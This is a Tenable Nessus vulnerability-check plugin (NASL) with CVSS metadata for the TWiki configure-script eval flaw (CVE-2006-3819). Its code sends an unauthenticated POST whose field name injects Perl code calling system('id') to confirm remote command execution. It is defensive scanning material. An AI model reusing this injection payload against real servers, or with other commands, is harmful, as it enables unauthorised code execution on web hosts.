CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
95.2%
The version of TWiki installed on the remote host uses an unsafe ‘eval’ in the ‘bin/configure’ script that can be exploited by an unauthenticated attacker to execute arbitrary Perl code subject to the privileges of the web server user id.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(22123);
script_version("1.21");
script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/05");
script_cve_id("CVE-2006-3819");
script_bugtraq_id(19188);
script_xref(name:"EDB-ID", value:"2110");
script_xref(name:"EDB-ID", value:"2143");
script_name(english:"TWiki configure Script Arbitrary Command Execution");
script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a CGI script that is affected by an
arbitrary command execution vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of TWiki installed on the remote host uses an unsafe
'eval' in the 'bin/configure' script that can be exploited by an
unauthenticated attacker to execute arbitrary Perl code subject to the
privileges of the web server user id.");
script_set_attribute(attribute:"see_also", value:"http://twiki.org/cgi-bin/view/Codev/SecurityAlertCmdExecWithConfigure");
script_set_attribute(attribute:"solution", value:
"Apply HotFix 2 or later for TWiki 4.0.4. Alternatively, restrict
access to the TWiki configure script.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2006/07/27");
script_set_attribute(attribute:"patch_publication_date", value:"2006/07/26");
script_set_attribute(attribute:"plugin_publication_date", value:"2006/07/31");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:twiki:twiki");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2006-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("twiki_detect.nasl");
script_require_keys("installed_sw/TWiki");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("install_func.inc");
app = "TWiki";
get_install_count(app_name:app, exit_if_zero:TRUE);
port = get_http_port(default:80);
install = get_single_install(
app_name : app,
port : port
);
dir = install['path'];
install_url = build_url(port:port, qs:dir);
if ("cgi-bin" >!< dir)
{
dir = ereg_replace(pattern:"(/[^/]+/).*", string:dir, replace:"\1");
dir = dir + "bin/";
}
else
dir = dir - "view";
url = "configure";
# Check whether the affected script exists.
res = http_send_recv3(
method : "GET",
item : dir + url,
port : port,
exit_on_fail : TRUE
);
# If it does...
if ('name="action" value="update"' >< res[2])
{
# Try to exploit the flaw to run a command.
cmd = "id";
sploit = "TYPEOF:);system('"+ cmd +"');my @a=(";
postdata = "action=update&" + urlencode(str:sploit) + "=nessus";
res = http_send_recv3(
method : "POST",
item : dir + url,
port : port,
content_type : "application/x-www-form-urlencoded",
data : postdata,
exit_on_fail : TRUE
);
line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res[2]);
if (!empty_or_null(line))
{
security_report_v4(
port : port,
severity : SECURITY_HOLE,
cmd : cmd,
request : make_list(http_last_sent_request()),
output : chomp(line)
);
exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);
}
else exit(0, "The '/" + url + "' script does not appear to be accessible on the " + app + " install at " + install_url);